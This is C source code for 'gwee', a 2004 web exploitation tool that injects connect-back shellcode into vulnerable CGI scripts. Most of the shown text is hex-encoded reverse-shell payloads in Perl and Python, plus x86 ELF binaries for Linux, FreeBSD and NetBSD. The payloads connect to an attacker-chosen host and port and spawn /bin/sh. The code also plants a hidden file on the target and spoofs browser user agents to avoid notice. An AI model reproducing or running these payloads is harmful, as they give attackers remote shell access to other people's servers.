1 /* Copyright notice:
2  *
3  * gwee - Generic Web Exploitation Engine - $Revision: 1.36 $
4  * Copyright (C) 2004 Michel Blomgren <michel@cycom.se>
5  * Perl and Python shellcode and expertise by Sabu <sabu@sentinix.org>
6  *
7  * License (MIT):
8  *
9  * Permission is hereby granted, free of charge, to any person obtaining a
10  * copy of this software and associated documentation files (the "Software"),
11  * to deal in the Software without restriction, including without limitation
12  * the rights to use, copy, modify, merge, publish, distribute, sublicense,
13  * and/or sell copies of the Software, and to permit persons to whom the
14  * Software is furnished to do so, subject to the following conditions:
15  *
16  * The above copyright notice and this permission notice shall be included in
17  * all copies or substantial portions of the Software.
18  *
19  * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20  * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21  * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
22  * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
23  * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
24  * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
25  * DEALINGS IN THE SOFTWARE.
26  *
27  ******************************************************************************
28  *
29  * Acknowledgements: Sabu, Nullbyte, uDc, s9c!
30  *
31  ******************************************************************************
32  *
33  * Changelog:
34  *  - Tue May 26 2004:
35  *    Replaced ascii-encoded octal with ascii-encoded hex instead. Added
36  *    sishell 0.2 (for x86 Linux, FreeBSD and NetBSD).
37  *
38  *  - Mon Feb 9 2004 (1.12):
39  *    Initial version,
40  *
41  ******************************************************************************
42  *
43  * Compile like this:
44  *      gcc -s -O2 -o gwee gwee.c
45  *
46  * Usage:
47  *  ./gwee -l my_IP_or_hostname [-p port] http://targeturl/cgi-bin/vuln.cgi
48  *
49  * Default connect-back port is 31337, change with -p yourport.
50  *
51  */
52 static unsigned char rcsid[] =
53 "$Id: gwee.c,v 1.36 2004/07/12 03:13:46 shadow Exp $";
54 
55 #ifdef WIN32
56     #define __USE_WIN32_SOCKETS
57 
58     #include <stdio.h>
59     #include <fcntl.h>
60     #include <io.h>
61     #include <conio.h>
62     #include <winsock.h>
63     #include <getopt.h>
64     #include <ctype.h>
65     #include <windows.h>
66     #include <process.h>
67 #else
68     #include <stdio.h>
69     #include <stdlib.h>
70     #include <sys/types.h>
71     #include <sys/stat.h>
72     #include <sys/time.h>
73     #include <sys/wait.h>
74     #include <unistd.h>
75     #include <errno.h>
76     #include <string.h>
77     #include <netdb.h>
78     #include <sys/socket.h>
79     #include <netinet/in.h>
80     #include <arpa/inet.h>
81     #include <sys/select.h>
82     #include <signal.h>
83 
84     #include <ctype.h>
85 
86     extern int errno;
87     extern int h_errno;
88 #endif
89 
90 
91 #if defined WITH_SSL
92     #include <openssl/crypto.h>
93     #include <openssl/x509.h>
94     #include <openssl/pem.h>
95     #include <openssl/evp.h>
96     #include <openssl/ssl.h>
97     #include <openssl/err.h>
98 #else
99     #warning compiling without https support, use -DWITH_SSL -lssl -lcrypto for https support.
100 #endif
101 
102 #ifndef INADDR_NONE
103     #define INADDR_NONE 0xffffffff
104 #endif
105 
106 extern char *optarg;
107 extern int optind, opterr, optopt;
108 
109 /* default port that shellcode will connect back to */
110 #define DEFBACKPORT     31337
111 
112 /*** global variables ************************************************/
113 
114 /* the -y -z option combo... */
115 char *y_opt = "";
116 char *z_opt = "";
117 
118 /* TMPFILE is the filename of the shellcode on the target box */
119 char *TMPFILE = "/var/tmp/.vetx.95";
120 
121 char *user_agent = NULL;
122 
123 char *wgeturl = NULL;
124 char *dumpout = NULL;
125 
126 char *url = NULL;
127 unsigned int httpget = 0,
128              remove_sploit = 0,
129              force = 0,
130              shellcode = 0,
131              injection_method = 0,
132              verbose = 0,
133              silent = 0,
134              builtin_listener = 0,
135              timeout = 30,
136              only_listen = 0,
137              dowipeout = 1,
138              i;
139 
140 #ifdef WIN32
141     int pongsilent = 0;
142 #endif
143 
144 /* these variables are only used when httpget == 1 */
145 char httpmethod_get[] = "GET";
146 char httpmethod_head[] = "HEAD";
147 char *httpmethod = httpmethod_get;
148 
149 /* buffers and temporary variables */
150 char buf[4096];
151 char buf2[4096];
152 
153 char *tempmem1;
154 char *tempmem2;
155 char *tempmem3;
156 char *tempmem4;
157 
158 char *shellcode_split1;
159 char *shellcode_split2;
160 char *shellcode_split3;
161 char *shellcode_split4;
162 
163 
164 uint32_t binary_ip;
165 uint32_t xored_ip;
166 char ascii_ip[16];
167 
168 char *listen_server = NULL;
169 uint16_t lport = DEFBACKPORT;
170 uint16_t sourceport = 0;
171 
172 char *shellcode_p = NULL;
173 char *imprefix = "";
174 
175 struct hostent *he;
176 
177 char piece1_text[] = "[+] injecting shellcode piece 1/4";
178 char piece2_text[] = "[+] injecting shellcode piece 2/4";
179 char piece3_text[] = "[+] injecting shellcode piece 3/4";
180 char piece4_text[] = "[+] injecting shellcode piece 4/4";
181 
182 /* if with OpenSSL support (for https) add these... */
183 #if defined(WITH_SSL)
184     SSL_METHOD *sslmethod;
185     SSL_CTX *sslctx;
186     SSL *ssl;
187     X509 *peer_cert;
188 #endif
189 
190 
191 /*** injection methods ***********************************************/
192 
193 #define IM_PERL    0
194 #define IM_PYTHON  1
195 #define IM_PRINTF  2
196 #define IM_ECHO    3
197 
198 /*** shellcode *******************************************************/
199 
200 #define SABUSHELL_PERL      0
201 #define LINUX_SISHELL       1
202 #define FREEBSD_SISHELL     2
203 #define NETBSD_SISHELL      3
204 #define SABUSHELL_PYTHON    4
205 
206 #define XOR 0xffffffff
207 
208 /* Sabu's reverse Perl shellcode */
209 unsigned char sabushell_perl[] =
210     "\\x23\\x21\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x70"
211     "\\x65\\x72\\x6c\\x0a\\x75\\x73\\x65\\x20\\x53\\x6f\\x63\\x6b"
212     "\\x65\\x74\\x3b\\x20\\x75\\x73\\x65\\x20\\x49\\x4f\\x3a\\x3a"
213     "\\x48\\x61\\x6e\\x64\\x6c\\x65\\x3b\\x20\\x75\\x73\\x65\\x20"
214     "\\x50\\x4f\\x53\\x49\\x58\\x3b\\x20\\x24\\x70\\x72\\x6f\\x74"
215     "\\x6f\\x20\\x3d\\x20\\x67\\x65\\x74\\x70\\x72\\x6f\\x74\\x6f"
216     "\\x62\\x79\\x6e\\x61\\x6d\\x65\\x28\\x27\\x74\\x63\\x70\\x27"
217     "\\x29\\x3b\\x20\\x73\\x6f\\x63\\x6b\\x65\\x74\\x28\\x53\\x6f"
218     "\\x63\\x6b\\x65\\x74\\x5f\\x48\\x61\\x6e\\x64\\x6c\\x65\\x2c"
219     "\\x20\\x41\\x46\\x5f\\x49\\x4e\\x45\\x54\\x2c\\x20\\x53\\x4f"
220     "\\x43\\x4b\\x5f\\x53\\x54\\x52\\x45\\x41\\x4d\\x2c\\x20\\x24"
221     "\\x70\\x72\\x6f\\x74\\x6f\\x29\\x3b\\x20\\x24\\x73\\x69\\x6e"
222     "\\x20\\x3d\\x20\\x73\\x6f\\x63\\x6b\\x61\\x64\\x64\\x72\\x5f"
223     "\\x69\\x6e\\x28\\x37\\x37\\x30\\x30\\x20\\x2c\\x69\\x6e\\x65"
224     "\\x74\\x5f\\x61\\x74\\x6f\\x6e\\x28\\x22\\x31\\x32\\x37\\x2e"
225     "\\x30\\x2e\\x30\\x2e\\x31\\x22\\x20\\x20\\x20\\x20\\x20\\x20"
226     "\\x29\\x29\\x3b\\x20\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x28"
227     "\\x53\\x6f\\x63\\x6b\\x65\\x74\\x5f\\x48\\x61\\x6e\\x64\\x6c"
228     "\\x65\\x2c\\x24\\x73\\x69\\x6e\\x29\\x3b\\x20\\x64\\x75\\x70"
229     "\\x32\\x28\\x53\\x6f\\x63\\x6b\\x65\\x74\\x5f\\x48\\x61\\x6e"
230     "\\x64\\x6c\\x65\\x2d\\x3e\\x66\\x69\\x6c\\x65\\x6e\\x6f\\x2c"
231     "\\x20\\x30\\x29\\x3b\\x20\\x64\\x75\\x70\\x32\\x28\\x53\\x6f"
232     "\\x63\\x6b\\x65\\x74\\x5f\\x48\\x61\\x6e\\x64\\x6c\\x65\\x2d"
233     "\\x3e\\x66\\x69\\x6c\\x65\\x6e\\x6f\\x2c\\x20\\x31\\x29\\x3b"
234     "\\x20\\x64\\x75\\x70\\x32\\x28\\x53\\x6f\\x63\\x6b\\x65\\x74"
235     "\\x5f\\x48\\x61\\x6e\\x64\\x6c\\x65\\x2d\\x3e\\x66\\x69\\x6c"
236     "\\x65\\x6e\\x6f\\x2c\\x20\\x32\\x29\\x3b\\x20\\x65\\x78\\x65"
237     "\\x63\\x20\\x7b\\x20\\x22\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68"
238     "\\x22\\x20\\x7d\\x20\\x22\\x22\\x3b\\x0a";
239 #define sabushell_perl_ip_offset    700
240 #define sabushell_perl_ipbuf_len    17
241 #define sabushell_perl_port_offset  636
242 #define sabushell_perl_portbuf_len  5
243 
244 
245 /* Shadowinteger's reverse shellcode,
246  * hardcoded (no arguments) x86 linux binary (elf) */
247 unsigned char linux_sishell[] = /* Shadowinteger's sishell 0.2 */
248     "\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x03\\x00\\x00\\x00\\x00"
249     "\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00"
250     "\\x80\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x44\\x01\\x00\\x00"
251     "\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x28\\x00"
252     "\\x03\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
253     "\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\x32\\x01\\x00\\x00"
254     "\\x32\\x01\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00"
255     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
256     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
257     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
258     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8b\\x04\\x24\\x40"
259     "\\x40\\x8d\\x1c\\x84\\x89\\xdd\\x6a\\x06\\x6a\\x01\\x6a\\x02"
260     "\\x8d\\x1c\\x24\\x89\\xd9\\x31\\xdb\\xb3\\x01\\x31\\xc0\\xb0"
261     "\\x66\\xcd\\x80\\x89\\xc7\\x83\\xec\\x08\\x31\\xc9\\xc6\\x04"
262     "\\x24\\x02\\x88\\x4c\\x24\\x01\\xb8\\x80\\xff\\xff\\xfe\\x35"
263     "\\xff\\xff\\xff\\xff\\x66\\xc7\\x44\\x24\\x02\\x7a\\x69\\x89"
264     "\\x44\\x24\\x04\\x8d\\x04\\x24\\x83\\xec\\x10\\x89\\x3c\\x24"
265     "\\x89\\x44\\x24\\x04\\x31\\xc0\\xb0\\x10\\x89\\x44\\x24\\x08"
266     "\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x03\\x8d\\x14\\x24\\x89"
267     "\\xd1\\xcd\\x80\\x85\\xc0\\x78\\x38\\x31\\xc9\\x31\\xc0\\xb0"
268     "\\x3f\\x89\\xfb\\xcd\\x80\\x41\\x80\\xf9\\x02\\x76\\xf2\\x83"
269     "\\xec\\x10\\x8d\\x44\\x24\\x08\\x89\\x04\\x24\\x31\\xdb\\x89"
270     "\\x5c\\x24\\x04\\x89\\x5c\\x24\\x08\\xbb\\x2a\\x81\\x04\\x08"
271     "\\x8d\\x14\\x24\\x89\\xd1\\x89\\xea\\x31\\xc0\\xb0\\x0e\\x2c"
272     "\\x03\\xcd\\x80\\x31\\xc0\\x89\\xc3\\x40\\xcd\\x80\\x2f\\x62"
273     "\\x69\\x6e\\x2f\\x73\\x68\\x00\\x00\\x2e\\x73\\x68\\x73\\x74"
274     "\\x72\\x74\\x61\\x62\\x00\\x2e\\x74\\x65\\x78\\x74\\x00\\x00"
275     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
276     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
277     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
278     "\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
279     "\\x06\\x00\\x00\\x00\\x80\\x80\\x04\\x08\\x80\\x00\\x00\\x00"
280     "\\xb2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
281     "\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
282     "\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
283     "\\x32\\x01\\x00\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
284     "\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00";
285 #define linux_IP_OFFSET 700
286 #define linux_PORT_OFFSET 756
287 
288 
289 unsigned char freebsd_sishell[] = /* Shadowinteger's sishell 0.2 */
290     "\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x09\\x00\\x00\\x00\\x00"
291     "\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00"
292     "\\x80\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x24\\x01\\x00\\x00"
293     "\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x28\\x00"
294     "\\x03\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
295     "\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\x13\\x01\\x00\\x00"
296     "\\x13\\x01\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00"
297     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
298     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
299     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
300     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8b\\x04\\x24\\x40"
301     "\\x40\\x8d\\x1c\\x84\\x89\\xdd\\x6a\\x06\\x6a\\x01\\x6a\\x02"
302     "\\x31\\xc0\\xb0\\x61\\x50\\xcd\\x80\\x89\\xc7\\x83\\xec\\x08"
303     "\\x31\\xc9\\xc6\\x04\\x24\\x02\\x88\\x4c\\x24\\x01\\xb8\\x80"
304     "\\xff\\xff\\xfe\\x35\\xff\\xff\\xff\\xff\\x66\\xc7\\x44\\x24"
305     "\\x02\\x7a\\x69\\x89\\x44\\x24\\x04\\x8d\\x04\\x24\\x6a\\x10"
306     "\\x50\\x57\\x31\\xc0\\xb0\\x62\\x50\\xcd\\x80\\x72\\x38\\x31"
307     "\\xc9\\x51\\x57\\x31\\xc0\\xb0\\x5a\\x50\\xcd\\x80\\x41\\x80"
308     "\\xf9\\x02\\x76\\xf1\\x83\\xec\\x10\\x8d\\x44\\x24\\x08\\x89"
309     "\\x04\\x24\\x31\\xdb\\x89\\x5c\\x24\\x04\\x89\\x5c\\x24\\x08"
310     "\\x8d\\x14\\x24\\x89\\xd1\\x55\\x51\\x68\\x0b\\x81\\x04\\x08"
311     "\\x31\\xc0\\xb0\\x3b\\x50\\xcd\\x80\\x31\\xc0\\x50\\xfe\\xc0"
312     "\\x50\\xcd\\x80\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x00"
313     "\\x2e\\x73\\x68\\x73\\x74\\x72\\x74\\x61\\x62\\x00\\x2e\\x74"
314     "\\x65\\x78\\x74\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
315     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
316     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
317     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00"
318     "\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x80\\x80\\x04\\x08"
319     "\\x80\\x00\\x00\\x00\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
320     "\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
321     "\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
322     "\\x00\\x00\\x00\\x00\\x13\\x01\\x00\\x00\\x11\\x00\\x00\\x00"
323     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
324     "\\x00\\x00\\x00\\x00";
325 #define freebsd_IP_OFFSET 668
326 #define freebsd_PORT_OFFSET 724
327 
328 
329 unsigned char netbsd_sishell[] = /* Shadowinteger's sishell 0.2 */
330     "\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x02\\x00\\x00\\x00\\x00"
331     "\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00"
332     "\\xb0\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x68\\x01\\x00\\x00"
333     "\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x02\\x00\\x28\\x00"
334     "\\x04\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
335     "\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\x43\\x01\\x00\\x00"
336     "\\x43\\x01\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00"
337     "\\x04\\x00\\x00\\x00\\x94\\x00\\x00\\x00\\x94\\x80\\x04\\x08"
338     "\\x94\\x80\\x04\\x08\\x18\\x00\\x00\\x00\\x18\\x00\\x00\\x00"
339     "\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
340     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
341     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
342     "\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x04\\x00\\x00\\x00"
343     "\\x01\\x00\\x00\\x00\\x4e\\x65\\x74\\x42\\x53\\x44\\x00\\x00"
344     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8b\\x04\\x24\\x40"
345     "\\x40\\x8d\\x1c\\x84\\x89\\xdd\\x6a\\x06\\x6a\\x01\\x6a\\x02"
346     "\\x31\\xc0\\xb0\\x61\\x50\\xcd\\x80\\x89\\xc7\\x83\\xec\\x08"
347     "\\x31\\xc9\\xc6\\x04\\x24\\x02\\x88\\x4c\\x24\\x01\\xb8\\x80"
348     "\\xff\\xff\\xfe\\x35\\xff\\xff\\xff\\xff\\x66\\xc7\\x44\\x24"
349     "\\x02\\x7a\\x69\\x89\\x44\\x24\\x04\\x8d\\x04\\x24\\x6a\\x10"
350     "\\x50\\x57\\x31\\xc0\\xb0\\x62\\x50\\xcd\\x80\\x72\\x38\\x31"
351     "\\xc9\\x51\\x57\\x31\\xc0\\xb0\\x5a\\x50\\xcd\\x80\\x41\\x80"
352     "\\xf9\\x02\\x76\\xf1\\x83\\xec\\x10\\x8d\\x44\\x24\\x08\\x89"
353     "\\x04\\x24\\x31\\xdb\\x89\\x5c\\x24\\x04\\x89\\x5c\\x24\\x08"
354     "\\x8d\\x14\\x24\\x89\\xd1\\x55\\x51\\x68\\x3b\\x81\\x04\\x08"
355     "\\x31\\xc0\\xb0\\x3b\\x50\\xcd\\x80\\x31\\xc0\\x50\\xfe\\xc0"
356     "\\x50\\xcd\\x80\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x00"
357     "\\x2e\\x73\\x68\\x73\\x74\\x72\\x74\\x61\\x62\\x00\\x2e\\x74"
358     "\\x65\\x78\\x74\\x00\\x2e\\x6e\\x6f\\x74\\x65\\x2e\\x6e\\x65"
359     "\\x74\\x62\\x73\\x64\\x2e\\x69\\x64\\x65\\x6e\\x74\\x00\\x00"
360     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
361     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
362     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
363     "\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
364     "\\x06\\x00\\x00\\x00\\xb0\\x80\\x04\\x08\\xb0\\x00\\x00\\x00"
365     "\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
366     "\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00"
367     "\\x07\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x94\\x80\\x04\\x08"
368     "\\x94\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
369     "\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
370     "\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
371     "\\x00\\x00\\x00\\x00\\x43\\x01\\x00\\x00\\x24\\x00\\x00\\x00"
372     "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00"
373     "\\x00\\x00\\x00\\x00";
374 #define netbsd_IP_OFFSET 860
375 #define netbsd_PORT_OFFSET 916
376 
377 
378 /* Sabu's uber sexy python reverse (connecting) shellcode */
379 unsigned char sabushell_python[] =
380     "\\x23\\x21\\x2f\\x75\\x73\\x72\\x2f\\x62\\x69\\x6e\\x2f\\x65"
381     "\\x6e\\x76\\x20\\x70\\x79\\x74\\x68\\x6f\\x6e\\x0a\\x73\\x3d"
382     "\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27"
383     "\\x73\\x6f\\x63\\x6b\\x65\\x74\\x27\\x29\\x2e\\x73\\x6f\\x63"
384     "\\x6b\\x65\\x74\\x28\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74"
385     "\\x5f\\x5f\\x28\\x27\\x73\\x6f\\x63\\x6b\\x65\\x74\\x27\\x29"
386     "\\x2e\\x41\\x46\\x5f\\x49\\x4e\\x45\\x54\\x2c\\x5f\\x5f\\x69"
387     "\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x73\\x6f\\x63"
388     "\\x6b\\x65\\x74\\x27\\x29\\x2e\\x53\\x4f\\x43\\x4b\\x5f\\x53"
389     "\\x54\\x52\\x45\\x41\\x4d\\x29\\x3b\\x73\\x2e\\x63\\x6f\\x6e"
390     "\\x6e\\x65\\x63\\x74\\x28\\x28\\x27\\x31\\x32\\x37\\x2e\\x30"
391     "\\x2e\\x30\\x2e\\x31\\x27\\x2c\\x37\\x37\\x30\\x30\\x20\\x20"
392     "\\x20\\x20\\x20\\x20\\x20\\x29\\x29\\x3b\\x5f\\x5f\\x69\\x6d"
393     "\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x6f\\x73\\x27\\x29"
394     "\\x2e\\x64\\x75\\x70\\x32\\x28\\x73\\x2e\\x66\\x69\\x6c\\x65"
395     "\\x6e\\x6f\\x28\\x29\\x2c\\x30\\x29\\x3b\\x5f\\x5f\\x69\\x6d"
396     "\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x6f\\x73\\x27\\x29"
397     "\\x2e\\x64\\x75\\x70\\x32\\x28\\x73\\x2e\\x66\\x69\\x6c\\x65"
398     "\\x6e\\x6f\\x28\\x29\\x2c\\x31\\x29\\x3b\\x5f\\x5f\\x69\\x6d"
399     "\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x6f\\x73\\x27\\x29"
400     "\\x2e\\x64\\x75\\x70\\x32\\x28\\x73\\x2e\\x66\\x69\\x6c\\x65"
401     "\\x6e\\x6f\\x28\\x29\\x2c\\x32\\x29\\x3b\\x5f\\x5f\\x69\\x6d"
402     "\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x6f\\x73\\x27\\x29"
403     "\\x2e\\x65\\x78\\x65\\x63\\x6c\\x28\\x27\\x2f\\x62\\x69\\x6e"
404     "\\x2f\\x73\\x68\\x27\\x2c\\x27\\x27\\x29\\x0a";
405 #define sabushell_python_ip_offset  504
406 #define sabushell_python_ipbuf_len  23
407 
408 
409 /* user-agents to mask as */
410 char *agents[] = { (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)",
411                    (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
412                    (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7",
413                    (char *) "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)",
414                    (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)",
415                    (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1",
416                    (char *) "Mozilla/5.0 (Windows; U; Win 9x 4.90; fr-FR; rv:1.5) Gecko/20031007",
417                    (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040115",
418                    (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
419                    (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.20  [en]",
420                    (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7b) Gecko/20040421 Galeon/1.3.14",
421                    (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.23  [pl]",
422                    (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031217 Firebird/0.7+",
423                    (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)",
424                    (char *) "Mozilla/5.0 (compatible; Konqueror/3.1; Linux)",
425                    (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20030925",
426                    (char *) "Mozilla/5.0 (X11; U; Linux i686) Gecko/20031119 Galeon/1.3.7",
427                    (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)",
428                    (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01",
429                    (char *) "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02",
430                    (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Avant Browser [avantbrowser.com]; MyIE2; .NET CLR 1.1.4322)",
431                    (char *) "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; H010818; FunWebProducts-MyWay)",
432                    (char *) "Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; Q312461)",
433                    (char *) "Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.6) Gecko/20040206 Firefox/0.8",
434                    (char *) "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040116 MultiZilla/1.6.3.1d"
435                  };
436 unsigned int number_of_agents = sizeof(agents)/sizeof(char *);
437 
438 
439 /*** functions *******************************************************/
440 
441 /*
442  * get_revision() - extracts the revision number from a RCS Id string
443  */
get_revision(unsigned char * string)444 unsigned char *get_revision(unsigned char *string) {
445 /*
446  * input string is an RCS Id keyword
447  */
448     char Id_string[] = "$Id: ";
449     char *idstart;
450     static unsigned char revision[16];
451     int a, x, column_counter;
452 
453     if (!(idstart = strstr(string, Id_string))) {
454         return NULL;
455     }
456 
457     idstart += strlen(Id_string);
458 
459     column_counter = 1;
460     x = 0;
461     for (a = 0; x < (sizeof(revision)-1); a++) {
462         if (idstart[a] == 0)
463             return NULL;
464 
465         if (column_counter < 2) {
466             if (idstart[a] == 0x20)
467                 column_counter++;
468         } else {      /* column 2 is the rcs revision number */
469             if (((idstart[a] < '0') || (idstart[a] > '9')) && (idstart[a] != '.'))
470                 break;
471             revision[x] = idstart[a];
472             x++;
473         }
474     }
475 
476     revision[x] = 0;
477     return revision;
478 }
479 
480 
481 
usage(void)482 void usage(void) {
483     printf("gwee %s - generic web exploitation engine\n"
484 "Copyright (C) 2004 Michel Blomgren <michel@cycom.se>\n"
485 "Perl and Python shellcode and expertise by Sabu -> http://sabu.net\n"
486 "%s\n"
487 "\n"
488 "Permission is hereby granted, free of charge, to any person obtaining a copy\n"
489 "of this software and associated documentation files (the \"Software\"), to deal\n"
490 "in the Software without restriction, including without limitation the rights\n"
491 "to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n"
492 "copies of the Software, and to permit persons to whom the Software is\n"
